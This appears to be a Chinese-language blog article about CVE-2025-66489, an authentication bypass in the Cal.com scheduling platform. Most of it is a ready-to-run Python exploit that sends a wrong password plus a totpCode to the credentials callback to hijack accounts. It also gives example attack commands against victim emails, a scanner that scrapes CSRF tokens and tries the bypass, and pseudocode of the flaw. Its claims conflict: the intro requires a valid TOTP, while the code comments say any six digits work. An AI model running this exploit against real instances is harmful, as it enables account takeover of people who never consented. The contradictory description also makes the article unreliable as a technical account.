
本项目针对 CVE-2025-66489 高危漏洞提供完整的技术分析与验证代码。该漏洞存在于流行的开源日程调度平台 Cal.com 的认证机制中,由于密码验证逻辑的致命缺陷,攻击者仅需提供用户的邮箱和一个有效的TOTP(双重认证)验证码,即可完全绕过密码验证,实现远程账户接管。
⚠️ CVSS v4.0 评分: 9.9 (严重) — 无需用户交互,无需任何权限,网络远程攻击
本项目依赖 requests 库进行HTTP通信,可通过pip快速安装:
# 安装必要依赖
pip install requests
# 可选:使用国内镜像加速
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple# 基本攻击命令格式
python cve-2025-66489-poc.py \
--url http://your-calcom-instance:3000 \
--email victim@example.com \
--csrf 8f2a9d3b5c7e1f4a \
--totp 123456参数 | 必选 | 说明 | 默认值 |
|---|---|---|---|
| ✅ | Cal.com实例的基础URL | 无 |
| ✅ | 目标用户邮箱 | 无 |
| ✅ | 登录表单中的CSRF token | 无 |
| ❌ | 使用的错误密码 | "wrongpass" |
| ❌ | 用于绕过的TOTP验证码 | "123456" |
# 攻击示例
python cve-2025-66489-poc.py \
--url http://localhost:3000 \
--email admin@example.com \
--csrf abcdef1234567890 \
--password invalid_pass \
--totp 654321python cve-2025-66489-poc.py --url http://victim.com --email user@victim.com --csrf token123python cve-2025-66489-poc.py \
--url http://test.cal.com \
--email john@doe.com \
--csrf 8f2a9d3b5c7e1f4a \
--totp 987654# 添加-v参数查看完整HTTP交互
python cve-2025-66489-poc.py --url http://target.com --email user@target.com --csrf csrf_token -vimport requests
import argparse
def bypass_auth(base_url, email, wrong_password, totp_code, csrf_token):
"""
核心漏洞利用函数
原理:当请求中包含totpCode参数时,服务端完全跳过密码验证
Args:
base_url: Cal.com实例基础URL
email: 目标用户邮箱
wrong_password: 任意错误密码(不会被验证)
totp_code: TOTP验证码(可以是任意6位数字)
csrf_token: CSRF防护令牌
"""
login_url = f"{base_url}/api/auth/callback/credentials"
# 构造认证请求载荷
# 关键点:包含totpCode参数触发漏洞条件
payload = {
'csrfToken': csrf_token, # CSRF保护令牌
'email': email, # 目标用户邮箱
'password': wrong_password, # 任意密码(不会被验证)
'totpCode': totp_code # TOTP验证码(触发漏洞的关键)
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
# 使用会话维持登录状态
session = requests.Session()
try:
# 发送绕过认证的请求
response = session.post(login_url, data=payload, headers=headers)
# 验证绕过是否成功
if response.status_code == 200 and 'redirect' in response.text.lower():
print("[+] 认证绕过成功!无需正确密码即可登录")
print("[+] 会话Cookie:", session.cookies.get_dict())
# 验证受保护资源的访问权限
protected_url = f"{base_url}/dashboard"
protected_response = session.get(protected_url)
if protected_response.status_code == 200:
print("[+] 确认可访问仪表盘 - 账户已被完全接管")
else:
print("[-] 无法访问受保护资源,绕过可能不完整")
else:
print("[-] 绕过失败,服务端响应:", response.text[:200])
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="CVE-2025-66489 概念验证: Cal.com 认证绕过漏洞",
epilog="严重漏洞: CVSS 9.9 - 远程攻击者可绕过密码+TOTP验证"
)
parser.add_argument("--url", required=True,
help="Cal.com实例的基础URL (例如: http://localhost:3000)")
parser.add_argument("--email", required=True,
help="目标用户的邮箱地址")
parser.add_argument("--password", default="wrongpass",
help="用于测试的错误密码(默认: wrongpass)")
parser.add_argument("--totp", default="123456",
help="TOTP验证码,可以是任意6位数字(默认: 123456)")
parser.add_argument("--csrf", required=True,
help="登录页面提取的CSRF token")
args = parser.parse_args()
print("[*] 正在执行CVE-2025-66489漏洞验证...")
print(f"[*] 目标: {args.url}")
print(f"[*] 用户: {args.email}")
bypass_auth(args.url, args.email, args.password, args.totp, args.csrf)def check_vulnerability(base_url, test_email):
"""
检测目标Cal.com实例是否存在漏洞的辅助函数
原理: 尝试使用无效密码+任意TOTP登录,判断响应特征
Args:
base_url: Cal.com实例URL
test_email: 测试邮箱
Returns:
bool: 是否存在漏洞
"""
import requests
from bs4 import BeautifulSoup
# 第一步:获取CSRF token
login_page_url = f"{base_url}/auth/login"
session = requests.Session()
try:
# 获取登录页面提取CSRF token
login_page = session.get(login_page_url)
soup = BeautifulSoup(login_page.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'csrfToken'})
if not csrf_input:
print("[-] 无法提取CSRF token")
return False
csrf_token = csrf_input.get('value')
# 第二步:尝试绕过
login_url = f"{base_url}/api/auth/callback/credentials"
payload = {
'csrfToken': csrf_token,
'email': test_email,
'password': 'invalid_password_123',
'totpCode': '123456' # 任意TOTP码
}
response = session.post(login_url, data=payload)
# 检测漏洞特征
if response.status_code == 200 and 'callback' in response.url:
print("[!] 目标可能存在漏洞!")
return True
else:
print("[-] 目标可能已修复或配置不同")
return False
except Exception as e:
print(f"[-] 检测过程异常: {e}")
return False该漏洞的核心在于Cal.com认证流程中的条件判断缺陷:
# 伪代码展示漏洞原理
def authenticate_user(email, password, totp_code):
user = find_user_by_email(email)
if user.has_2fa_enabled():
# 漏洞点:当提供了totp_code时,完全跳过password验证
if totp_code and verify_totp(user, totp_code):
# ⚠️ 直接登录成功,跳过密码验证!
return login_success(user)
else:
return "Invalid 2FA code"
else:
# 正常的密码验证流程
if verify_password(user, password):
return login_success(user)
else:
return "Invalid password"攻击向量 | 描述 | 严重程度 |
|---|---|---|
网络远程攻击 | 无需物理接触,任意位置均可发起 | 🔴 高危 |
无需特权 | 攻击前无需任何账户权限 | 🔴 高危 |
无用户交互 | 受害者无需任何操作 | 🔴 高危 |
2FA失效 | 双重认证形同虚设 | 🔴 高危 |
/api/auth/callback/credentials的访问原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。